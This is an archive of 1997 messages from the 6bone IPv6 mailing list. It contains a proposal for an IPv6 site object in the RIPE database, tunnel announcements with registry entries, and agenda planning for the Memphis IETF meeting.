>
>Title:   A proposal for an IPv6 site database object
>
>Date:    970325
>Authors: Geert Jan de Groot
>         David Kessens
>
>Introduction
>
>This proposal describes the proposed syntax of a new RIPE database object
>that describes the several IPv6 sites in the world. The proposal has been
>extended for experimental use inside DNS. The object will be used to
>facilitate the introduction of IPv6 in the Internet. It is expected that
>the object will be superceded later (when the IPv6 routing protocols and
>the like are better standarized) by a new structure that is more
>genericly designed and less IPv6 dependant (see RPS working group, the
>RPSL language draft, RPS tunnel attribute extensions for the 'inet-rtr'
>object draft by Dave Meyer if you are interested in the topic). The RIPE
>database can get experimental support for this pretty quick after the
>RIPE database working group gives approval for such an experimental
>object. Syntax checking will initially be a bit sloppy to allow for easy
>changes to the format in our rapidly changing environment and to cut
>implementation time ;-).
>
>The syntax is based on the experience with the 'ftp' object depository at
>the RIPE NCC created by Geert Jan de Groot and discussions on the 6bone
>mailing list. Any comments for changes and/or better wording are welcome.
>
>Several attribute name changes are made to the existing 'ftp' object to
>faciliate a better integration (and reuse of already existing attributes)
>in the RIPE database scheme.
>
>The now existing nearly-real time mirroring mechanism of the data allows
>for a fast distribution mechanism to other (mirror) databases in a
>topologically closer position to the database users. It is therefore
>proposed that this object can only be updated at the RIPE NCC database
>depository (for now). This avoids conflicting data in different databases
>problems as we have now with the IPv4 route and AS number objects.
>
>The proposed RIDE working group is currently defining an exchange format
>for communication between different Internet registries. This will
>facilitate other types of databases such as DNS that could be used
>instead for storing this data.
>
>
>Formal RIPE database template:
>
>ipv6-site:      [mandatory] [single]
>descr:          [mandatory] [multiple]
>location:       [optional]  [multiple]
>country:        [optional]  [multiple]
>prefix:         [mandatory] [multiple]
>application:    [optional]  [multiple]
>tunnel:         [optional]  [multiple]
>contact:        [mandatory] [multiple]
>url:            [optional]  [multiple]
>remarks:        [optional]  [multiple]
>changed:        [mandatory] [multiple]
>source:         [mandatory] [single]
>
>
>The object could be stored in DNS TXT records using the following syntax:
>
>TXT "[optional white space]<line number><white space>tag:[optional white
>     space]<value>"
>
>
>Description and purpose of the attributes:
>
>
>- ipv6-site:   <SiteTag>
>
>  SiteTag is a short unique tag for the IPv6 site to be used for lookups
>  and referrals of the object.
>
>  Syntax:
>
>  /^[A-Z][A-Z\-]*[A-Z]$/
>
>  Example:
>
>  ipv6-site: ISI
>
>
>- descr:  <SiteDescr>
>
>  Multiple line attribute that describes the site. This attribute usually
>  contains information about the location of the IPv6 site and a full
>  name of the site.
>
>  Syntax:
>
>  /^.*$/
>
>  Example:
>
>  descr: ISI/USC,
>  descr: Los Angeles
>
>
>- location: <LocatianString>
>
>  LocationString contains the coordinates of the IPv6 sites location.
>  Multiple location strings can be provided on different lines for sites
>  that have multiple locations in the area. One can use a domainname
>  instead of LocationString if an RFC1876 LOC record is present in DNS.
>
>  Note that this attribute is unnecessary for DNS based databases since
>  DNS already has support for special location (LOC) records (see RFC1876).
>
>  Syntax:
>
>  Full syntax is described in RFC1876. A summary follows below:
>
>  3. Master File Format
>
>   The LOC record is expressed in a master file in the following format:
>
>   <owner> <TTL> <class> LOC ( d1 [m1 [s1]] {"N"|"S"} d2 [m2 [s2]]
>                               {"E"|"W"} alt["m"] [siz["m"] [hp["m"]
>                               [vp["m"]]]] )
>
>   (The parentheses are used for multi-line data as specified in [RFC
>   1035] section 5.1.)
>
>   where:
>
>       d1:     [0 .. 90]            (degrees latitude)
>       d2:     [0 .. 180]           (degrees longitude)
>       m1, m2: [0 .. 59]            (minutes latitude/longitude)
>       s1, s2: [0 .. 59.999]        (seconds latitude/longitude)
>       alt:    [-100000.00 .. 42849672.95] BY .01 (altitude in meters)
>       siz, hp, vp: [0 .. 90000000.00] (size/precision in meters)
>
>   If omitted, minutes and seconds default to zero, size defaults to 1m,
>   horizontal precision defaults to 10000m, and vertical precision
>   defaults to 10m.  These defaults are chosen to represent typical
>   ZIP/postal code area sizes, since it is often easy to find
>   approximate geographical location by ZIP/postal code.
>
>  4. Example Data
>
>   ;;;
>   ;;; note that these data would not all appear in one zone file
>   ;;;
>
>   ;; network LOC RR derived from ZIP data.  note use of precision defaults
>   cambridge-net.kei.com.        LOC   42 21 54 N 71 06 18 W -24m 30m
>
>   ;; higher-precision host LOC RR.  note use of vertical precision default
>   loiosh.kei.com.               LOC   42 21 43.952 N 71 5 6.344 W
>                                       -24m 1m 200m
>
>   pipex.net.                    LOC   52 14 05 N 00 08 50 E 10m
>
>   curtin.edu.au.                LOC   32 7 19 S 116 2 25 E 10m
>
>   rwy04L.logan-airport.boston.  LOC   42 21 28.764 N 71 00 51.617 W
>                                       -44m 2000m
>
>
>- country: <ISO3166-country code> ...
>
>  Specify here the country codes of the countries where your site is
>  located.
>
>  Example:
>
>  country: US
>
>  or
>
>  country: DK SE
>
>
>- prefix: <IPv6Prefix>
>
>  IPv6Prefix is a prefix that is used within the the IPv6 site.
>
>  Syntax:
>
>  <ValidIPv6Address/0-128>
>
>  Example:
>
>  prefix:         5f0d:0500:c100::/64
>
>
>- application: <service> <hostname> [port[/protocol]]
>
>  This attribute describes the different services available on the site.
>  The services are the same as described in the '/etc/services' plus 'ping'
>  More services might be added later on.
>
>  Hostname is the DNS hostname of the host that provides the service and
>  a port number and protocol type may be specified for services that
>  don't run on the standard port.
>
>  Syntax:
>
>  /^\S+\s+[a-zA-Z\-]+(\.[a-zA-Z\-])*\s+\d+(\/udp|\/tcp))?$/
>
>  Examples:
>
>  application: ping pinghost.ISI.EDU
>  application: ftp  ftp.ISI.EDU
>
>
>- tunnel:  <Protocol1> in <Protocol2> <src> -> <dst> <IPv6-site>
>                                                     <Protocol> [FreeText]
>
>  This attribute defines a tunnel of Protocol1 in Protocol2 from address
>  src to address dst. You only need to define your side of the tunnel.
>  The other end should be present in the object of the other party's site
>  object. Note that tunnels should in general be configured symmetrically
>  along both end-points and only be present in the object if they are
>  actually configured and working at both ends.
>
>  Currently (only) the following type of tunnels are accepted:
>
>  tunnel:  IPv6 in IPv4 <SrcDomainname> -> <DstDomainName> <IPv6-site>
>                                                     <Protocol> [FreeText]
>
>  It is expected that more possibilities will be added later.
>
>  Currently defined protocols are: IDRPv6, BGP5, RIPv6, STATIC
>  Syntax checking will not be done on this field to allow for newer and
>  fast implementations of other protocols.
>
>  Domainnames are used for greater flexibility. It makes it for example
>  trivial to obtain the IPv6 or IPv4 address from DNS if needed.
>
>  Example:
>
>  tunnel: IPv6 in IPv4 tbc5000-18.tbit.dk -> unvea.denet.dk TELEBIT IDRPv6
>
>
>- contact: <NIC-handle>
>
>  This is the contact information of the site. Use a valid NIC handle
>  that you received when creating an entry for your personal data in one
>  of the registry databases (do 'whois -h whois.ripe.net HELP' for help
>  on creating such an object).
>
>  Example:
>
>  contact: DK13-RIPE
>
>  Note for DNS databases:
>
>  References for DNS style databases can be defined as follows:
>
>  - use a valid NIC-handle that points to an entry in a whois Internet
>    registry database
>
>  - use the following syntax:
>
>    contact: YourName (DomainNameOfTextRecordWithYourContactObject)
>
>  - the ipv6-site object has a personal data entry attached in DNS
>    (separated by an empty record with a line number only) and the
>    contact entry has the same value as the name of the person.
>
>    person:      [mandatory]  [single]
>    address:     [mandatory]  [multiple]
>    phone:       [mandatory]  [multiple]
>    fax-no:      [optional]   [multiple]
>    e-mail:      [optional]   [multiple]
>    remarks:     [optional]   [multiple]
>    changed:     [mandatory]  [multiple]
>
>
>- url: <URL>
>
>  Put here any useful URLs that are of interest for your site
>
>  Example:
>
>  url: <http://www.iol.unh.edu>
>
>
>- remarks: <FreeText>
>
>  Put here any information that might be interesting for the other people
>  at the 6bone to know about or use it for site specific information.
>  Also 'not yet accepted new functionality' to the objects can be put here
>  (temporarely).
>
>  Many people use this to report about the status of their site; is it in
>  implementation phase, is it up and running or are there still techincal
>  problems.
>
>  Syntax:
>
>  /^.*$/
>
>  Example:
>
>  remarks: operational since July 5, 1996
>  remarks: happy to add new tunnels upon request.
>  remarks: 6bone-router.cisco.com carries all ipv6 routes.
>
>
>- changed: <E-mail> <Date>
>
>  Use this attribute to show who was resposible for a change/addition of
>  the object and the date on which it took effect. You may use more
>  changed attribute to reflect the change history of the object.
>
>  The date field has the following format: YYMMDD (in the RIPE database)
>  Other databases that don't have a format defined yet are recommended to
>  use an YYYYMMDD format. It is expected that the RIPE database will
>  support this format in the future. Note that more changes attributes
>  can be specified to show a history of changes.
>
>  Example:
>
>  changed: davidk@ISI.EDU 960923
>
>
>- source: RIPE
>
>  This field is always the same for now. It describes the place where the
>  object can be updated and is stored.
>
>  Example:
>
>  source: RIPE
>
>  Note that a 'source:' field is not relevant for non-RIPE databases.
>  Whois query tools are recommended to use a 'source: DNS' to identify
>  data that is extracted from DNS or another clear identifier for other
>  databases.
>
>




From majordom@ISI.EDU  Tue Mar 25 09:25:44 1997
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Date: Tue, 25 Mar 1997 17:25:44 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone WG planning for Memphis
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

The Memphis IETF 6bone WG session has been scheduled for a Wed. afternoon
(9 April) one hour time slot.  I had decided on a one hour time slot as
meeting slots are hard to come by and we should not go any longer than
practical with a large group (if San Jose was any example).  If this
meeting proves we need and can use a longer time slot, we can get one in
Munich.

I've shown all the IPng sessions below for your convenience.  Note that the
times have been carefully chosen to keep you in Memphis all week, whether
you can find a hotel or not :-)

However, the real reason that the IPng meetings are so late in the week is
that Steve Deering will be in Japan until Wed. afternoon.


The 6bone has been included under the NGTrans WG with me as a co-chair,
along with Tony Hain and Bob Gilligan.  However, Scott Bradner (one of the
current OPS area directors) said that we should, for now, operate as a
separate part of NGTrans, much in the same way that IPPM operates under
BMWG.

I have no problem with this and agree it is sensible that the 6bone be
considered part of the IPv6 transition effort.


So...for the agenda I have the following to date.  Please send email to the
list for changes/deletions/additions.


My current 6bone agenda is:

1. Topology, addressing and routing issues

	CAIRN backbone -  Mankin

	routing in the backbone - status from IDR WG

	addressing beyond RFC 1987 - Fink


2. 6bone routing registry issues

	RIPE-NCC based - David Kessens

	DNS based - Bill Manning

	David Meyer's Internet-Draft on extensions for
	"Representing Tunnels in RPSL"


3. Decide how to proceed with an Internet-Draft outlining requirements for the
new 6bone infrastructure



Thanks,

Bob

================================================================================

MONDAY, April 7, 1997

1930-2200  Evening Sessions  (2 1/2 hours)

        APP   http      HyperText Transfer Protocol WG
        INT   frnetmib  Frame Relay Service MIB WG
        INT   svrloc    Service Location Protocol WG
        OPS   bmwg      Benchmarking Methodology WG
        OPS   mboned    MBONED Deployment WG
>>>>>   OPS   ngtrans   New Generation Transition WG
        SEC   secsh     Secure Shell Protocol WG
        USV   isnII     Internet School Networking-Educators BOF


WEDNESDAY, April 9, 1997

1415-1515  Afternoon Sessions II  (1 hour)

        APP   ircup     IRC Update BOF
        APP   schema    Schema Registration BOF
        INT   dnsind    DNS IXFR, Notification, and Dynamic Update WG
        INT   ipcdn     IP Over Cable Data Network WG
>>>>>   OPS   6bone     IPv6 Backbone BOF
        OPS   ptopomib  Physical Topology MIB WG
        RTG   ospf      Open Shortest Path First IGP WG
        TSV   issll     Integrated Services over Specific Link Layers WG


THURSDAY, April 10, 1997

1300-1500  Afternoon Sessions I  (2 hours)

        APP   fax       Internet Fax WG
        APP   lsma      Large Scale Multicast Applications WG
>>>>>   INT   ipngwg    IPNG WG
        OPS   snmpv3    Simple Network Management Protocol Version 3 WG
        RTG   mpls      Multiprotocol Label Switching WG
        SEC   ipsec     IP Security Protocol WG
        TSV   nfsv4     Network File System Version 4 BOF

FRIDAY, April 11, 1997

0830-0900  Continental Breakfast
0900-1130  Morning Sessions  (2 1/2 hours)

        APP   drums     Detailed Revision/Update of Message Standards WG
        INT   frnetmib  Frame Relay Service MIB WG
>>>>>   INT   ipngwg    IPNG WG
        OPS   bmwg      Benchmarking Methodology WG
        OPS   snmpv3    Simple Network Mangaement Protocol Version 3 WG

================================================================================



From majordom@ISI.EDU  Wed Mar 26 02:12:31 1997
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Date: Wed, 26 Mar 1997 10:12:31 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: new 6bone diagram - version 60
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new 6bone diagram - version 60

  DIGITAL-EARC/DE becomes a transit with IBM-ENC/DE stubbed from it


Thanks,

Bob



From majordom@ISI.EDU  Wed Mar 26 06:20:02 1997
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Date: Wed, 26 Mar 1997 14:20:02 -0800 (PST)
From: Doug Junkins <junkins@nwnet.net>
Reply-To: Doug Junkins <junkins@nwnet.net>
To: 6bone@isi.edu
Subject: New Tunnel NWNet/US <-> IXA/US
Message-Id: <Pine.GSO.3.95.970326141255.13962J-100000@cypress.nwnet.net>
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A new 6Bone tunnel between NorthWestNet, Inc. (NWNET/US) and
Interconnected Associates, Inc. (IXA/US) has been configured running
RIPng. 

Our new RIPE entry is:

location:       Bellevue, Washington, USA
loc-string:     47 35 2n 122 8 2w 5m
prefix:         5F02:AD00:C050:0D00/64
ping:           mahogany.ipv6.nwnet.net (5f02:ad00:c050:d00:1:800:207F:049D)
ping:           nwnet-6bone-gw.ipv6.nwnet.net (5f02:ad00:c050:d00:1::c1a:c8a8)
tunnel:         192.220.249.249 204.123.2.236 DIGITAL-CA/US - RIPng operational
tunnel:         192.220.249.249 128.223.222.11 UOREGON/US - RIPng operational
tunnel:         192.220.249.249 131.103.1.54 CICNET/US - RIPng operational
tunnel:         192.220.249.249 137.229.12.248 ALASKA/US - RIPng operational
tunnel:         192.220.249.249 158.43.137.157 UUNET/UK - RIPng experimental
tunnel:         192.220.249.249 198.128.2.27 ESNET/US - RIPng operational
tunnel:         192.220.249.249 140.142.96.1 UW/US - Static operational
tunnel:         192.220.249.249 199.242.16.23 IXA/US - RIPng operational
contact:        Doug Junkins <junkins@nwnet.net>
status:         operational since 12/6/96
remarks:        nwnet-6bone-gw.nwnet.net is a Cisco 4000M
remarks:        will add tunnels to people with ipv4 connectivity to
remarks:        NorthWestNet, MCI, Sprint's Seattle POP, and UUNet's
remarks:        Seattle and Portland POPs.
remarks:        Please send connectivity problems and requests to the
remarks:        above contact
changed:        junkins@nwnet.net 970326
source:         RIPE

- Doug

 /  Douglas A. Junkins    |   Network Engineering        \
/   Network Engineer      |   NorthWestNet                \
\   junkins@nwnet.net     |   Bellevue, Washington, USA   /
 \  +1-206-649-7419       |                              /



From majordom@ISI.EDU  Thu Mar 27 09:55:58 1997
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Date: Thu, 27 Mar 1997 09:55:58 +0000 (GMT)
From: Guy Davies <guyd@uunet.pipex.com>
To: 6bone List <6bone@isi.edu>
Cc: IPv6 Operations <ipv6@uunet.pipex.com>
Subject: New Tunnels to UUNET-UK
Message-Id: <Pine.GSO.3.95q.970327094630.349E-100000@swannee.uunet.pipex.com>
X-Organisation: UUNET (Cambridge)
X-Address: 332 Science Park. Milton Road. Cambridge. CB4 4BZ
X-Phone: +44 (0)1223 250100
X-Ncc-Regid: uk.pipex
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Hi,

New tunnels from JANET/UK, ESNET/US, UCAM-T/UK and NC3A/NL have been
configured to UUNET-UK.  

Also, please note that our tunnel-v4 address is now 158.43.133.254 and
_all_ our existing tunnels have been moved to the new address.  Thanks to
all who helped.

Our current ip6rr object is....

site:		UUNET-UK
location:       London, UK & Cambridge, UK
prefix:         5f07:3900/32
ping:		5f07:3900:9e2b:8500:0000:1111:1111:1111 6bone-gw.lon.ip6.pipex.net
ping:		5f07:3900:9e2b:c000:0000:0060:3e59:4d90 eth0.6bone-gw.lon.ip6.pipex.net
ping:		5f07:3900:9e2b:8500:0000:2222:2222:2222 6bone-gw.cam.ip6.pipex.net
ping:           5f07:3900:9e2b:8000:0000:0000:0c92:145c eth0.6bone-gw.cam.ip6.pipex.net
ping:		5f07:3900:00c2:8200:0000:0000:c00d:03c4 swannee.ip6.pipex.net
tunnel:		158.43.133.254 192.31.7.104 	CISCO/US RIPng operational
tunnel:		158.43.133.254 192.32.29.62 	BAY/US RIPng operational
tunnel:		158.43.133.254 192.220.249.249 	NWNET/US RIPng operational
tunnel:		158.43.133.254 194.182.135.253	TELEBIT/DK RIPng operational
tunnel:		158.43.133.254 194.105.166.254	IFB/UK RIPng operational
tunnel:		158.43.133.254 130.225.231.5	UNI-C/DK RIPng operational
tunnel:		158.43.133.254 193.10.66.50	SICS/SE RIPng operational
tunnel:		158.43.133.254 204.123.2.236	DIGITAL-CA/US RIPng operational
tunnel:		158.43.133.254 198.32.146.11	ISI-LAP/US RIPng operational
tunnel:		158.43.133.254 192.87.110.60	SURFNET/NL RIPng operational
tunnel:		158.43.133.254 198.128.2.27	ESNET/US RIPng experimental
tunnel:		158.43.133.254 129.88.26.2	G6/FR RIPng operational
tunnel:		158.43.133.254 194.226.128.99	KIT/KZ static operational
tunnel:		158.43.133.254 152.78.65.209	USOT-ECS/UK RIPng operational
tunnel:		158.43.133.254 194.80.33.20	ULANC/UK RIPng operational
tunnel:		158.43.133.254 130.88.12.119	UMAN/UK RIPng operational
tunnel:		158.43.133.254 193.63.94.6	JANET/UK RIPng experimental
tunnel:		158.43.133.254 131.111.193.104	UCAM-T/UK static operational
tunnel:		158.43.133.254 192.150.94.61	NC3A/NL static operational
tunnel-v4:	158.43.133.254
tunnel-v6:	5f07:3900:9e2b:8500:0000:1111:1111:1111
contact:        IPv6 operations <ipv6@uunet.pipex.com>
status:         operational since 20-Feb-97
remark:         DNS operational for forward (ip6.pipex.net) and reverse 
remark:		(0.0.9.3.7.0.f.5.ip6.int) zones
remark:		http://swannee.ip6.pipex.net:81/index.html (currently dead)-:
remark:		Willing to add tunnels on request, particularly to customers 
remark:		of UUNET or MFS/WorldCom worldwide or organisations connected 
remark:		to LINX, D-GIX or AMS-IX. 
remark:		Currently support RIPng or static routing
changed:        Guy.Davies@uunet.pipex.com 970326
source:         RIPE

Regards,

Guy 


From majordom@ISI.EDU  Thu Mar 27 00:13:19 1997
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Date: Thu, 27 Mar 1997 08:13:19 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone Agenda (v2) for Memphis
Sender: owner-6bone@ISI.EDU
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Status: RO

6bone Agenda (v2) for Memphis below.  Please email me changes, deletions,
and additions.


Thanks,

Bob


6bone Agenda (v2) for Memphis
____________________________

1. Topology, addressing and routing issues

	CAIRN backbone -  Mankin

	routing in the backbone - status from IDR WG

	addressing beyond RFC 1987 - Fink

	Prefix aggregation problems - Durand            <<<<<<<<<<< added


2. 6bone routing registry issues

	RIPE-NCC based - David Kessens

	DNS based - Bill Manning

	David Meyer's Internet-Draft on extensions for
	"Representing Tunnels in RPSL"


3. Decide how to proceed with an Internet-Draft outlining requirements for the
new 6bone infrastructure


===============================================================================
Reposted for your information
===============================================================================

The Memphis IETF 6bone WG session has been scheduled for a Wed. afternoon
(9 April) one hour time slot.  I had decided on a one hour time slot as
meeting slots are hard to come by and we should not go any longer than
practical with a large group (if San Jose was any example).  If this
meeting proves we need, and can use, a longer time slot, we can get one in
Munich.

I've shown all the IPng sessions below for your convenience.  Note that the
times have been carefully chosen to keep you in Memphis all week, whether
you can find a hotel or not :-)

However, the real reason that the IPng meetings are so late in the week is
that Steve Deering will be in Japan until Wed. afternoon.


The 6bone has been included under the NGTrans WG with me as a co-chair,
along with Tony Hain and Bob Gilligan.  However, Scott Bradner (one of the
current OPS area directors) said that we should, for now, operate as a
separate part of NGTrans, much in the same way that IPPM operates under
BMWG.

I have no problem with this and agree it is sensible that the 6bone be
considered part of the IPv6 transition effort.
================================================================================

MONDAY, April 7, 1997

1930-2200  Evening Sessions  (2 1/2 hours)

        APP   http      HyperText Transfer Protocol WG
        INT   frnetmib  Frame Relay Service MIB WG
        INT   svrloc    Service Location Protocol WG
        OPS   bmwg      Benchmarking Methodology WG
        OPS   mboned    MBONED Deployment WG
>>>>>   OPS   ngtrans   New Generation Transition WG
        SEC   secsh     Secure Shell Protocol WG
        USV   isnII     Internet School Networking-Educators BOF


WEDNESDAY, April 9, 1997

1415-1515  Afternoon Sessions II  (1 hour)

        APP   ircup     IRC Update BOF
        APP   schema    Schema Registration BOF
        INT   dnsind    DNS IXFR, Notification, and Dynamic Update WG
        INT   ipcdn     IP Over Cable Data Network WG
>>>>>   OPS   6bone     IPv6 Backbone BOF
        OPS   ptopomib  Physical Topology MIB WG
        RTG   ospf      Open Shortest Path First IGP WG
        TSV   issll     Integrated Services over Specific Link Layers WG


THURSDAY, April 10, 1997

1300-1500  Afternoon Sessions I  (2 hours)

        APP   fax       Internet Fax WG
        APP   lsma      Large Scale Multicast Applications WG
>>>>>   INT   ipngwg    IPNG WG
        OPS   snmpv3    Simple Network Management Protocol Version 3 WG
        RTG   mpls      Multiprotocol Label Switching WG
        SEC   ipsec     IP Security Protocol WG
        TSV   nfsv4     Network File System Version 4 BOF

FRIDAY, April 11, 1997

0830-0900  Continental Breakfast
0900-1130  Morning Sessions  (2 1/2 hours)

        APP   drums     Detailed Revision/Update of Message Standards WG
        INT   frnetmib  Frame Relay Service MIB WG
>>>>>   INT   ipngwg    IPNG WG
        OPS   bmwg      Benchmarking Methodology WG
        OPS   snmpv3    Simple Network Mangaement Protocol Version 3 WG

================================================================================



From majordom@ISI.EDU  Thu Mar 27 03:02:22 1997
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Date: Thu, 27 Mar 1997 14:02:07 -0500
To: Bob Fink LBNL <RLFink@lbl.gov>, 6bone@isi.edu (6BONE Mailer)
From: Dimitry Haskin <dhaskin@baynetworks.com>
Subject: Re: 6bone Agenda (v2) for Memphis
Mime-Version: 1.0
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Sender: owner-6bone@ISI.EDU
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Status: RO

Bob,

I'd like to discuss a possibility of getting a real block of IPv6 addresses
for 6bone. I.e.,
6bone would become a registry, a big structure, an exchange point, a
provider collaboration.. - whatever you want to call it.  We would attempt
to set up an address administration/delegation services where 6bone clients
would be able to get their site prefixes.  The idea is to make it as real
possible. This would provide as with a infrastructure for testing out the
address assignment concepts as well as re-numbering and aggregation
schemes.  In the end, who know, 6bone may even grow into a real IPv6
network as ARPANET once did.

Too much to ask?

Dimitry

At 08:13 AM 3/27/97 -0800, Bob Fink LBNL wrote:
>6bone Agenda (v2) for Memphis below.  Please email me changes, deletions,
>and additions.
>
>
>Thanks,
>
>Bob
>
>
>6bone Agenda (v2) for Memphis
>____________________________
>
>1. Topology, addressing and routing issues
>
>	CAIRN backbone -  Mankin
>
>	routing in the backbone - status from IDR WG
>
>	addressing beyond RFC 1987 - Fink
>
>	Prefix aggregation problems - Durand            <<<<<<<<<<< added
>
>
>2. 6bone routing registry issues
>
>	RIPE-NCC based - David Kessens
>
>	DNS based - Bill Manning
>
>	David Meyer's Internet-Draft on extensions for
>	"Representing Tunnels in RPSL"
>
>
>3. Decide how to proceed with an Internet-Draft outlining requirements for
the
>new 6bone infrastructure
>
>
>===========================================================================
====
>Reposted for your information
>===========================================================================
====
>
>The Memphis IETF 6bone WG session has been scheduled for a Wed. afternoon
>(9 April) one hour time slot.  I had decided on a one hour time slot as
>meeting slots are hard to come by and we should not go any longer than
>practical with a large group (if San Jose was any example).  If this
>meeting proves we need, and can use, a longer time slot, we can get one in
>Munich.
>
>I've shown all the IPng sessions below for your convenience.  Note that the
>times have been carefully chosen to keep you in Memphis all week, whether
>you can find a hotel or not :-)
>
>However, the real reason that the IPng meetings are so late in the week is
>that Steve Deering will be in Japan until Wed. afternoon.
>
>
>The 6bone has been included under the NGTrans WG with me as a co-chair,
>along with Tony Hain and Bob Gilligan.  However, Scott Bradner (one of the
>current OPS area directors) said that we should, for now, operate as a
>separate part of NGTrans, much in the same way that IPPM operates under
>BMWG.
>
>I have no problem with this and agree it is sensible that the 6bone be
>considered part of the IPv6 transition effort.
>===========================================================================
=====
>
>MONDAY, April 7, 1997
>
>1930-2200  Evening Sessions  (2 1/2 hours)
>
>        APP   http      HyperText Transfer Protocol WG
>        INT   frnetmib  Frame Relay Service MIB WG
>        INT   svrloc    Service Location Protocol WG
>        OPS   bmwg      Benchmarking Methodology WG
>        OPS   mboned    MBONED Deployment WG
>>>>>>   OPS   ngtrans   New Generation Transition WG
>        SEC   secsh     Secure Shell Protocol WG
>        USV   isnII     Internet School Networking-Educators BOF
>
>
>WEDNESDAY, April 9, 1997
>
>1415-1515  Afternoon Sessions II  (1 hour)
>
>        APP   ircup     IRC Update BOF
>        APP   schema    Schema Registration BOF
>        INT   dnsind    DNS IXFR, Notification, and Dynamic Update WG
>        INT   ipcdn     IP Over Cable Data Network WG
>>>>>>   OPS   6bone     IPv6 Backbone BOF
>        OPS   ptopomib  Physical Topology MIB WG
>        RTG   ospf      Open Shortest Path First IGP WG
>        TSV   issll     Integrated Services over Specific Link Layers WG
>
>
>THURSDAY, April 10, 1997
>
>1300-1500  Afternoon Sessions I  (2 hours)
>
>        APP   fax       Internet Fax WG
>        APP   lsma      Large Scale Multicast Applications WG
>>>>>>   INT   ipngwg    IPNG WG
>        OPS   snmpv3    Simple Network Management Protocol Version 3 WG
>        RTG   mpls      Multiprotocol Label Switching WG
>        SEC   ipsec     IP Security Protocol WG
>        TSV   nfsv4     Network File System Version 4 BOF
>
>FRIDAY, April 11, 1997
>
>0830-0900  Continental Breakfast
>0900-1130  Morning Sessions  (2 1/2 hours)
>
>        APP   drums     Detailed Revision/Update of Message Standards WG
>        INT   frnetmib  Frame Relay Service MIB WG
>>>>>>   INT   ipngwg    IPNG WG
>        OPS   bmwg      Benchmarking Methodology WG
>        OPS   snmpv3    Simple Network Mangaement Protocol Version 3 WG
>
>===========================================================================
=====
>
>
>
>

From majordom@ISI.EDU  Thu Mar 27 03:01:30 1997
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Date: Thu, 27 Mar 1997 11:01:30 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone operational discussion luncheon - Tuesday the 8th
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

I would like to invite 6bone folk from RIPE-NCC registered 6bone sites to a
no-host lunch (that means you pay for your own lunch :-) on Tuesday the 8th
of April in Memphis.

The topic would be whatever is of interest relating to 6bone operational
issues.

The attendance is limited in this way so we don't have a swarm of those
just interested in listening in, else we won't get any useful discussion.
If there is something of interest from the lunch to report, I will do so at
the 6bone meeting on Wed.  Others not having attended the lunch can comment
and interact if relevant at that time.


I propose we meet Tuesday at 1130 at the IETF reg desk area, and go to
lunch from there.


Please let me know by private email if you intend to participate.


Thanks,

Bob




From majordom@ISI.EDU  Thu Mar 27 05:13:43 1997
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Date: Thu, 27 Mar 1997 13:13:43 -0800
To: Dimitry Haskin <dhaskin@baynetworks.com>, 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: 6bone Agenda (v2) for Memphis
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

Dimitry,

At 11:02 AM -0800 3/27/97, Dimitry Haskin wrote:
...
>I'd like to discuss a possibility of getting a real block of IPv6 addresses
>for 6bone. I.e.,
>6bone would become a registry, a big structure, an exchange point, a
>provider collaboration.. - whatever you want to call it.  We would attempt
>to set up an address administration/delegation services where 6bone clients
>would be able to get their site prefixes.  The idea is to make it as real
>possible. This would provide as with a infrastructure for testing out the
>address assignment concepts as well as re-numbering and aggregation
>schemes.  In the end, who know, 6bone may even grow into a real IPv6
>network as ARPANET once did.
>
>Too much to ask?

Not really.  The agenda item "addressing beyond RFC 1987" was intended to
give some voice to this topic in general.

So I'll put you on before that item.


Obviously there are bound to be numerous points of view on this, so we
might as well start the dialog on it in Memphis (unless some brave souls
wish to venture out on the list before then :-).


Thanks,

Bob


From majordom@ISI.EDU  Thu Mar 27 05:13:57 1997
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Date: Thu, 27 Mar 1997 13:13:57 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone Agenda (v3) for Memphis
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

6bone Agenda (v3) for Memphis below.  Please email me changes, deletions,
and additions.


Thanks,

Bob


6bone Agenda (v3) for Memphis
____________________________

1. Topology, addressing and routing issues

	CAIRN backbone -  Mankin

	routing in the backbone - status from IDR WG

	a 6bone IPv6 address block and registry - Haskin <<<<<<<<<<< added

	addressing beyond RFC 1987 - Fink

	Prefix aggregation problems - Durand

2. 6bone routing registry issues

	RIPE-NCC based - David Kessens

	DNS based - Bill Manning

	David Meyer's Internet-Draft on extensions for
	"Representing Tunnels in RPSL"


3. Decide how to proceed with an Internet-Draft outlining requirements for the
new 6bone infrastructure


===============================================================================
Reposted for your information
===============================================================================

The Memphis IETF 6bone WG session has been scheduled for a Wed. afternoon
(9 April) one hour time slot.  I had decided on a one hour time slot as
meeting slots are hard to come by and we should not go any longer than
practical with a large group (if San Jose was any example).  If this
meeting proves we need, and can use, a longer time slot, we can get one in
Munich.

I've shown all the IPng sessions below for your convenience.  Note that the
times have been carefully chosen to keep you in Memphis all week, whether
you can find a hotel or not :-)

However, the real reason that the IPng meetings are so late in the week is
that Steve Deering will be in Japan until Wed. afternoon.


The 6bone has been included under the NGTrans WG with me as a co-chair,
along with Tony Hain and Bob Gilligan.  However, Scott Bradner (one of the
current OPS area directors) said that we should, for now, operate as a
separate part of NGTrans, much in the same way that IPPM operates under
BMWG.

I have no problem with this and agree it is sensible that the 6bone be
considered part of the IPv6 transition effort.
================================================================================

MONDAY, April 7, 1997

1930-2200  Evening Sessions  (2 1/2 hours)

        APP   http      HyperText Transfer Protocol WG
        INT   frnetmib  Frame Relay Service MIB WG
        INT   svrloc    Service Location Protocol WG
        OPS   bmwg      Benchmarking Methodology WG
        OPS   mboned    MBONED Deployment WG
>>>>>   OPS   ngtrans   New Generation Transition WG
        SEC   secsh     Secure Shell Protocol WG
        USV   isnII     Internet School Networking-Educators BOF


WEDNESDAY, April 9, 1997

